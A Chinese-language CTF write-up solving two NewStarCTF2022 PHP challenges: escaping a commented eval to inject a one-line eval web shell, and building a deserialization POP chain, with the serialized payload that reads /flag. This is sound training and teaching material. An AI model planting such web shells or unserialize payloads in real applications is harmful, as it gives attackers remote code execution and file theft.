没啥简介
NewStarCTF2022公开赛
虽然是别人学校的新生赛,难度不是很高,但是还是有许多值得学习的知识点
1.NotPHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); highlight_file(__FILE__); if(file_get_contents($_GET['data']) == "Welcome to CTF"){ if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){ if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){ echo "Hack Me"; eval("#".$_GET['cmd']); }else{ die("Number error!"); } }else{ die("Wrong Key!"); } }else{ die("Pass it!"); }
|
这里绕过不细讲,都是常见的
细讲这个
这个是一个eval
函数,但是里面其实已经被#
给注释掉了,
所以无论输入什么都没结果
因此需要闭合或者绕过#
但是我试了很多闭合方式,结果都没反应
最后发现
实现了语句闭合,
但是,当把这个php结尾符加到后面时候,这个php就就结束了
以
为例子
当我们闭合了php代码后,那后面的haha
的位置在哪里呢
我们可以看到,haha
变成了html
代码
那么就可以操作了,
比如xss,一句话🐎的插入等
xss我试了,没有结果,现在的xss利用层面和危害也不高了(可能是我技术不到位)
插入一句话🐎
开始因为是html
,我是试了jsp
一句话
1
| <script language="php">@eval($_POST["cmd"]);</script>
|
但是用蚁剑连不上
最后按照传统思路,我在后面插入php
一句话
1
| <?php @eval($_POST["cmd"]);?>
|
好家伙,传统思路,才是真
连接成功拿到flag
不知道有没有看到这篇文章的同学看到这个wp
,提醒一下,这里需要在http body
里补充num
请求信息
因为这也是绕过的一个环节
2.UnserializeOne
一道popchain
,这还是我第一次做popchain
类【惭愧,不过做着真有意思】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php error_reporting(0); highlight_file(__FILE__);
class Start{ public $name; protected $func;
public function __destruct() { echo "Welcome to NewStarCTF, ".$this->name; }
public function __isset($var) { ($this->func)(); } }
class Sec{ private $obj; private $var;
public function __toString() { $this->obj->check($this->var); return "CTFers"; }
public function __invoke() { echo file_get_contents('/flag'); } }
class Easy{ public $cla;
public function __call($fun, $var) { $this->cla = clone $var[0]; } }
class eeee{ public $obj;
public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } }
if(isset($_POST['pop'])){ unserialize($_POST['pop']); }
|
构造pop
链主要在于,
1
| 把我们需要触发的魔术方法联系在一起,而且在联系触发过程中也要记得实例化目标类,这样才能调用和执行其中的方法
|
我们先中每个类其中的魔术方法列出来看看,再分析一下
Start
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class Start{ public $name; protected $func;
public function __destruct() //__destruct(),对象被销毁时触发,也就是最后运行结束时触发 { echo "Welcome to NewStarCTF, ".$this->name; }
public function __isset($var) //__isset(),当对不可访问属性调用isset()或empty()时调用 { ($this->func)(); } }
|
Sec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| class Sec{ private $obj; private $var;
public function __toString() //__toString(),把类当做字符串时触发, //所以在Start类中的[echo "Welcome to NewStarCTF, ".$this->name;],就需要把name值赋值为Sec类名 { $this->obj->check($this->var); return "CTFers"; }
public function __invoke() //__invoke(),当脚本尝试将对象调用为函数时触发 //所以在Start类中的[$this->func)();]中,需要把func值赋值为Sec,从而把其当作函数执行时,从而触其魔术方法 { echo file_get_contents('/flag'); } }
|
Easy
1 2 3 4 5 6 7 8 9 10 11
| class Easy{ public $cla;
public function __call($fun, $var) //__call(),在对象上下文中调用不可访问的方法时触发 //所以在Sec类中,当this->obj赋值为Easy类时,调用check方法时,就会触发,因为Easy里没有check函数 { $this->cla = clone $var[0]; } }
|
eeee
1 2 3 4 5 6 7 8 9 10 11 12
| class eeee{ public $obj;
public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } }
|
整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Start::__destruct
==>
Sec::__toString
==>
Easy::__call
==>
eeee::__clone
==>
Start::__isset
==>
Sec::__invoke
|
于是payload
为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0); highlight_file(__FILE__);
class Start { public $name; public $func; }
class Sec { public $obj; public $var; }
class Easy { public $cla; }
class eeee { public $obj; }
$start=new Start(); $sec=new Sec(); $easy=new Easy(); $eeee=new eeee();
$start->name=$sec; $start->func=$sec;
$sec->obj=$easy; $sec->var=$eeee;
$eeee->obj=$start;
echo serialize($start);
|
得到序列化数据,post
传入就行
1 2 3
| O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
|